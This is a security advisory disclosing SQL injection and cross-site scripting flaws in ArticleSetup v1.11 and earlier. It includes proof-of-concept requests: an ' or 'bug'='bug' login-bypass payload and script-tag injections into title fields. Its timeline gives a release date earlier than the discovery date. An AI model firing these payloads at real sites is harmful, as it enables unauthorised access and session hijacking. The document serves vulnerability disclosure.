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# Title : ArticleSetup Multiple Persistence Cross-Site Scripting and SQL
Injection Vulnerabilities
# Author : Antu Sanadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.articlesetup.com/
# Advisory : http://secpod.org/blog/?p=497
# http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt
# Software : ArticleSetup v1.11 and prior.
# Date : 30/03/2012
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SecPod ID: 1037 23/08/2011 Issue Discovered
21/02/2012 Vendor Notified
No Response from vendor
30/03/2011 Advisory Released
Class: XSS/SQL Injection Severity: High
Overview:
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ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.
Technical Description:
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ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection
Vulnerabilities.
i) Input passed via the 'userid' and 'password' parameter in
'/upload/login.php' page is not properly verified before being used in
an SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL queries.
ii) Input passed via the 'userid' and 'password' parameter in
'/upload/admin/login.php' page is not properly verified before being
used in an SQL query. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL queries.
iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.
iV) Input passed via the 's' parameter in 'upload/search.php' page is not
properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.
V) Input passed via the 'id' parameter in '/upload/admin/pageedit.php',
'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are
not properly verified before being used in an SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL queries.
Vi) Input passed via the 's' and parameter in '/upload/search.php' page is not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.
Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php'
page is not properly verified before it is returned to the user. This can
be exploited to execute arbitrary HTML and script code in a user's browser
session in the context of a vulnerable site.
Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php',
'/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
the context of a vulnerable site.
The vulnerabilities are tested in ArticleSetup v1.10 Other versions may also
be affected.
Impact:
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Successful exploitation could allow an attacker to execute arbitrary HTML
code in a user's browser session in the context of a vulnerable application
or to manipulate SQL queries by injecting arbitrary SQL code.
Affected Software:
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ArticleSetup v1.11 and prior.
Tested on,
ArticleSetup v1.10, v1.11
References:
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http://www.articlesetup.com/
http://secpod.org/blog/?p=497
http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt
Proof of Concept:
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POC 1:
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SQL Injection Vulnerabilities.
http://IP_ADDR/ArticleSetup/upload//feed.php?cat='
http://IP_ADDR/ArticleSetup/upload/search.php?s=%27
http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27
http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27
http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27
POST /ArticleSetup/upload/login.php
Host: IP_ADDR
User-Agent: SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Post Data:
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userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23
POST /ArticleSetup//upload/login.php
Host: IP_ADDR
User-Agent: SQL INJECTION TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Post Data:
==========
userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23
POC 2:
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Cross Site Scripting Vulnerabilities.
http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E
POST /ArticleSetup//upload/author/submit.php HTTP/1.1
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
Post Data:
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title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update=
POST /ArticleSetup//upload/admin/articlenew.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit=
POST /ArticleSetup//upload/admin/categories.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Post Data:
==========
title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save=
POST /ArticleSetup/upload/admin/pages.php
Host: IP_ADDR
User-Agent: STORED XSS TEST
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Post Data:
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title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save=
Solution:
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Fix not available
Risk Factor:
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CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NONE
CONFIDENTIALITY_IMPACT = PARTIAL
INTEGRITY_IMPACT = PARTIAL
AVAILABILITY_IMPACT = NONE
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Risk factor = High
Credits:
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Antu Sanadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
